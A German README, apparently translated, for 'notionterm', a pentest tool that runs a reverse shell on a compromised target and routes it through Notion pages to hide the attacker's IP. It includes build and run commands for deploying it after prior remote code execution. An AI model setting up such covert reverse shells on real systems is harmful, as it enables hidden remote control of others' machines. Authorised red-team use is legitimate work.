`notionterm`

Reverse Shell in Notion-Seiten einbetten.
Hacken beim Notizen machen

demo

FÜR ➕:

Verstecken der Angreifer-IP in der Reverse Shell (Keine direkte Interaktion zwischen Angreifer und Zielmaschine. Notion wird als Proxy verwendet, der die Reverse Shell hostet)
Demo/Schneller Beweis-Einfügung im Bericht
Hochverfügbare und gemeinsam nutzbare Reverse Shell (Desktop, Browser, Mobil)
Verschlüsselte und authentifizierte Remote-Shell

NICHT FÜR ➖:

Lange und interaktive Shell-Sitzung (siehe dazu tacos)

Warum? 🤔

Der Fokus lag darauf, etwas Spaßiges zu schaffen, das dennoch brauchbar ist, aber es ist nicht als DIE Lösung für Reverse Shell im Arsenal eines Pentesters gedacht.

Wie? 🤷‍♂️

Einfach Notion wie gewohnt verwenden und notionterm auf dem Ziel starten.

Voraussetzungen 🖊️

Notion-Software und API-Schlüssel
Erlaubte HTTP-Kommunikation vom Ziel zur Notion-Domain
Vorherige RCE auf dem Ziel

grob inspiriert von der großartigen Idee von OffensiveNotion und notionion!

TL;DR

Befehle und Flags zu lernen ist zu langweilig: Verwende wrap-notionterm.sh

Quickstart

🏗️ Einrichtung

Erstelle eine Seite und gib dem Integrations-API-Schlüssel die Berechtigung, auf die Seite schreiben zu können
Erstelle notionterm und übertrage es auf die Zielmaschine (siehe Build)

👟 Ausführen

Es gibt 3 Hauptmöglichkeiten, notionterm auszuführen:

"normaler" Modus
Terminal holen, anhalten/fortsetzen, usw...


notionterm [flags]

Starte die Shell mit dem Button-Widget: schalte ON, mache dein Reverse-Shell-Zeug, schalte OFF zum Pausieren, schalte ON zum Fortsetzen usw...

"Server"-Modus
Erleichtert das Einbetten von notionterm in jede Seite


notionterm --server [flags]

Starte eine Shell-Sitzung in einer beliebigen Seite, indem du einen Embed-Block mit einer URL erstellst, die die Seiten-ID enthält (CTRL+L um sie zu erhalten): https://[TARGET_URL]/notionterm?url=[NOTION_PAGE_ID].

light-Modus
Nur HTTP-Datenverkehr vom Ziel → Notion


notionterm light [flags]

Build

Da notionterm darauf ausgelegt ist, auf der Zielmaschine ausgeführt zu werden, muss es entsprechend gebaut werden.

Setze daher die Umgebungsvariablen entsprechend den Zielanforderungen:

GOOS=[windows/linux/darwin]

Einfacher Build

git clone https://github.com/ariary/notionterm.git && cd notionterm
GOOS=$GOOS go build notionterm.go

Du musst den API-Schlüssel und die Notion-Seiten-URL entweder mit Umgebungsvariablen (NOTION_TOKEN & NOTION_PAGE_URL) oder mit Flags (--token & --page-url) setzen.

"All-inclusive" Build

Bette den Notion-Integrations-API-Token und die Notion-Seiten-URL direkt in die Binärdatei ein. ⚠️ Jeder mit Zugriff auf die Binärdatei kann den Token abrufen. Aus Sicherheitsgründen nicht teilen und nach Gebrauch entfernen.

Setze die entsprechenden Umgebungsvariablen:

export NOTION_PAGE_URL=[NOTION_PAGE_URL]
export NOTION_TOKEN=[INTEGRATION_NOTION_TOKEN]

Und baue es:

git clone https://github.com/ariary/notionterm.git && cd notionterm
./static-build.sh $NOTION_PAGE_URL $NOTION_TOKEN $GOOS

notionterm

Beliebteste